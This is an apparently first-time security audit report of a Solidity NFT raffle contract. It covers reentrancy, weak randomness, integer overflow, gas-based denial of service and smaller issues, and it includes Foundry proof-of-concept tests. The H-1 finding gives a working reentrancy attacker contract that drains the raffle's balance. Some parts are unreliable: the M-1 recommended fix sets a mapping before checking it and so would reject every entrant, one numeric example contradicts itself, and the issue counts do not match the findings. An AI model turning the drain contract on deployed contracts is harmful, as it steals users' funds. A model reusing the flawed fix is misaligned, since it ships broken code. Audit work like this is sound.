Puppy Raffle Audit Report

HadoSama

March 26, 2026

Puppy Raffle Audit Report

Version 1.0

HadoSama

March 26, 2026

Puppy Raffle Audit Report

HadoSama

March 26, 2026

Prepared by: HadoSama Lead Security Reseachers: - HadoSama

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain the raffle balance.
    - [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
  - Medium

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Unsafe Cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variable should be declared as constant or Immutable
    * [G-2] Storage Variables in a Loop Should be Cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2] Using an Outdated Version of Solidity is Not Recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
    * [I-5] Use of "magic" numbers is discouraged

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The HADOSAMA team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#--PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This was a very interestingf protocol to Audit considering it is my first professional Audit, got a fe Highs and Mediums and hopfully i can take this new found knowledge and apply to several other protocols.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain the raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
7  @>  players[playerIndex] = address(0);
8
9      emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);
        uint256 startingAttackContractBalance = address(
            attackerContract)
            .balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();
        console.log(
            "attackerContract balance: ",
            startingAttackContractBalance
        );
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
            );
        console.log(
            "ending attackerContract balance: ",
            address(attackerContract).balance
        );
```

```
28          console.log(
29              "ending puppyRaffle balance: ",
30              address(puppyRaffle).balance
31          );
32      }
```

And this contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
```

Recommendation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
```

```
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description:Description: Hashing `msg.sender`, `block`, `timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means thne users can front-Run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence thne winner of thne Raffle, winning the money and selecting the `Rarest` Puppy.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. totalFees will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

Although you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol.

```
require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Code

```
function test_IntegerOverflow() public playersEntered {
        console.log("puppyRaffle balance: ", address(puppyRaffle).
           balance);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        console.log("startingTotalFees: ", startingTotalFees);

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
```

```
14          for (uint256 i = 0; i < playersNum; i++) {
15              players[i] = address(i);
16          }
17          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
18          // We end the raffle
19          vm.warp(block.timestamp + duration + 1);
20          vm.roll(block.number + 1);
21
22          // And here is where the issue occurs
23          // We will now have fewer fees even though we just finished a
                second raffle
24          puppyRaffle.selectWinner();
25
26          uint256 endingTotalFees = puppyRaffle.totalFees();
27          console.log("ending total fees", endingTotalFees);
28          assert(endingTotalFees < startingTotalFees);
29          //Ending Fee = 153255926290448384
30          //Startting Fees = 800000000000000000
31
32          // We are also unable to withdraw any fees because of the
                require check
33          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
34          puppyRaffle.withdrawFees();
35      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 // @audit Dos Attack
2 @> for(uint256 i = 0; i < players.length -1; i++){
3     for(uint256 j = i+1; j< players.length; j++){
4     require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
5   }
6 }
```

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas - This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into the `PuppyRaffle.t.sol`.

```
1  function test_DenialOfService() public {
2          uint256 playersNum = 100;
3          address[] memory players = new address[](playersNum);
4
5          for (uint256 i = 0; i < playersNum; i++) {
6              players[i] = address(i);
7          }
8
9          uint256 gasStart = gasleft();
10         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
11         uint256 gasEnd = gasleft();
12         uint256 gasUsedFirst = (gasStart - gasEnd);
13
```

```
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);
        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond);

        console.log("Gas cost of the second 100 players:  %s", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation:

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
```

function selectWinner() external { + raffleId = raffleId + 1; require(block.timestamp >= raffleStartTime + raffleDuration, “PuppyRaffle: Raffle not over”); }

[M-2] Unsafe Cast of PuppyRaffle::fee loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast and if the `uint256` is larger than `uint64` the loss of precision will cause the `fee` to be lost.

```
1  function selectWinner() external {
2          require(
3              block.timestamp >= raffleStartTime + raffleDuration,
4              "PuppyRaffle: Raffle not over"
5          );
6          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
7          //@Report Written Weak Randomness
8          //Recommended mitigation ; Chainlink VRF.
9          uint256 winnerIndex = uint256(
10             keccak256(
11                 abi.encodePacked(msg.sender, block.timestamp, block.
                       difficulty)
12             )
13         ) % players.length;
14         address winner = players[winnerIndex];
15         uint256 totalAmountCollected = players.length * entranceFee;
16         uint256 prizePool = (totalAmountCollected * 80) / 100;
17         uint256 fee = (totalAmountCollected * 20) / 100;
18 @>      totalFees = totalFees + uint64(fee);
19
20         uint256 tokenId = totalSupply();
21 }
```

The max value of a uint64 is 18ETH, meaning if the `fee` is more than 18ETH, the loss of precision will cause the `fee` to be lost.

Impact: In `PuppyRaffle::selectWinner`, the `feeAddress` will not receive the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. Assume the fee collected is 127800000000000000000000000 in `uint256` 2. The type cast will result in a `uint64` value of 3472013654092677120, which is a truncated value of the original `fees` in `uint256`

Below is an example using chisel

Code

```
uint256 myVar = 1278000000000000000000000
 myVar
Type: uint256
 Hex: 0xa9245302f1205db800000
 Hex (full word): 0
    x0000000000000000000000000000000000000000000a9245302f1205db800000
 Decimal: 1278000000000000000000000
 uint64 newMyVar = uint64(myVar)
 newMyVar
Type: uint64
 Hex: 0x
 Hex (full word): 0
    x0000000000000000000000000000000000000000000000000302f1205db800000
 Decimal: 3472013654092677120
```

Recommended Mitigation: Store the total fees as a `uint256` instead of a `uint64`

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;

function selectWinner() external {
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        //@Report Written Weak Randomness
        //Recommended mitigation ; Chainlink VRF.
        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                   difficulty)
            )
        ) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-      totalFees = totalFees + uint64(fee);
+      totalFees = totalFees + fee;

        uint256 tokenId = totalSupply();
}
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: `getActivePlayerIndex` always returns 0 when a player is not found. Since index 0 is also a valid position for a real player, users at index 0 cannot distinguish themselves from non-existent players. This causes false negatives where legitimate players may believe they are not entered in the raffle, breaking UI logic and potentially user experience.

```
1 function getActivePlayerIndex(address player) external view returns (
    uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         return 0;
8     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variable should be declared as constant or Immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player"
            );
}
}
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6; //@Audit Solidity version is old, safe
       math might not be applicable
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
1  0.8.18
2  The recommendations take into account:
3  Risks related to recent releases
4  Risks of complex code generation changes
5  Risks of new language features
6  Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69
-

```
1            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
1      previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1      feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -   (bool success,) = winner.call{value: prizePool}("");
2  -   require(success, "PuppyRaffle: Failed to send prize pool to winner"
       );
3          _safeMint(winner, tokenId);
4  +   (bool success,) = winner.call{value: prizePool}("");
5  +   require(success, "PuppyRaffle: Failed to send prize pool to winner"
       );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples: "'javascript

```
1  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  uint256 public constant FEE_PERCENTAGE = 20;
3  uint256 public constant POOL_PRECISION = 100;
4
5  uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
       POOL_PRECISION;
6  uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

"'